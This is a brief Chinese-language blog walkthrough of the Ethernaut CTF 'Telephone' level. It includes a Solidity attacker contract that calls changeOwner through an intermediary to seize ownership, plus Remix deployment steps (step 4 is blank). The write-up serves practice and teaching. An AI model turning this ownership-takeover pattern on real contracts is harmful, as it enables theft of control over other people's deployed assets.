# Ethernaut CTF - Telephone (Level 4)教程 **Published by:** [hujiawei](https://paragraph.com/@hujiawei/) **Published on:** 2022-04-15 **URL:** https://paragraph.com/@hujiawei/ethernaut-ctf-telephone-level-4 ## Content 1. remix.ethereum.org 2.新建 Telephone.sol文件 3.编译 pragma solidity ^0.5.0; interface Telephone{ function changeOwner(address _owner) external;} contract Hack{ function attack(address _addr ,address _owner) public{ Telephone teleContract = Telephone(_addr); teleContract.changeOwner( _owner); }} 4. 5.先点击Deploy,部署成功后在attack的地址栏处填写地址:”A,B”,其中A为合约持有者地址,可以在谷歌浏览器开发者工具中找到。B为自己钱包地址。然后点击attack。任务结束。 ## Publication Information - [hujiawei](https://paragraph.com/@hujiawei/): Publication homepage - [All Posts](https://paragraph.com/@hujiawei/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@hujiawei): Subscribe to updates - [Twitter](https://twitter.com/hujiawei1988): Follow on Twitter